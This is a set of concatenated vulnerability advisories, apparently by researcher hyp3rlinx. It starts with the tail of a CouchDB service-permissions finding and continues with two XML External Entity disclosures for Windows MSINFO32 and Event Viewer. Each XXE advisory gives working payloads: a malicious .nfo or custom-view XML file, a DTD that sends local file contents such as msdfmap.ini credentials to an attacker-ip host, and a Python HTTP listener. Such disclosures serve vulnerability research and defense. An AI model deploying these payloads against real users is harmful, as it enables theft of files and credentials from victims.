                BUILTIN\Users:(OI)(CI)(ID)R
                NT AUTHORITY\Authenticated Users:(ID)C
                NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
                    BUILTIN\Users:(OI)(CI)(ID)R
                    NT AUTHORITY\Authenticated Users:(ID)C
                    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C



c:\CouchDB>sc qc "Apache CouchDB"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Apache CouchDB
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\CouchDB\bin\nssm.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Apache CouchDB
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem




Exploitation Technique:
=======================
Local



Severity Level:
================
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-MSINFO32-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec



Vendor:
=================
www.microsoft.com



Product:
==========================
Windows System Information
MSINFO32.exe v6.1.7601


Windows MSINFO32.EXE Displays a comprehensive view of your hardware, system
components, and software environment.

Parameters
FileName   : Specifies the file to be opened. This can be an .nfo, .xml, .txt, or .cab file.



Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Microsoft Windows MSINFO32.exe is vulnerable to XML External Entity attack
which can potentially allow remote attackers to
gain access to and exfiltrate files from the victims computer if they open
a malicious ".nfo" file via remote share / USB etc.

Upon open the file user will see error message like "System Information is
unable to open this .nfo file. The file might
be corrupt etc..


Tested Windows 7 SP1


Exploit code(s):
===============

Access and exfiltrate Windows "msdfmap.ini" file as trivial POC.
This file contains credentials for MS ADO Remote Data Services.


1) python -m SimpleHTTPServer 8080 (runs on attacker-ip / hosts payload.dtd)



2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-ip:8080?%file;'>">
%all;



3) "FindMeThatBiatch.nfo" (corrupt .NFO file)

<?xml version="1.0"?>
<!DOCTYPE HYP3RLINX [
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>



Double click to open FindMeThatBiatch.nfo, user gets error MSINFO32
opens... attacker gets files.

OR open via Windows CL:
c:\>msinfo32  \\REMOTE-SHARE\FindMeThatBiatch.nfo



Disclosure Timeline:
======================================
Vendor Notification: September 4, 2016
Vendor Reply "not meet the bar for security servicing": September 7, 2016
December 4, 2016  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EVENT-VIEWER-XXE-FILE-EXFILTRATION.txt

[+] ISR: ApparitionSec

[+] CVE: CVE-2019-0948


Vendor:
=================
www.microsoft.com



Product:
========================
Microsoft Event Viewer
Version: 1.0

The Windows Event Viewer shows a log of application and system messages –
errors, information messages, and warnings.


Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Windows Event Viewer user can import 'Custom View' files, these files
contain XML, the parser processes External Entity potentially allowing
attackers
to gain remote file access to files on a victims system if user imports a
corrupt XML file via remote share/USB (or other untrusted source).



Tested Windows 7 SP1


Exploit code(s):
===============


1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer.
2) Action / Import Custom View
3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC
4) Files are accessed and sent to remote server.

User gets error like "The specified custom view is not valid" attacker gets
files!



"payload.dtd" (host on attacker server)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>">
%all;


"MyCustomView.xml"  (malicious windows Event Custom View XML)

<?xml version="1.0"?>
<!DOCTYPE APPARITION [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Attacker server listener

python -m SimpleHTTPServer 8080




Disclosure Timeline:
=====================================
Vendor Notification: August 30, 2016
Vendor reply: "does not meet the bar for security servicing." August 30,
2016
December 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx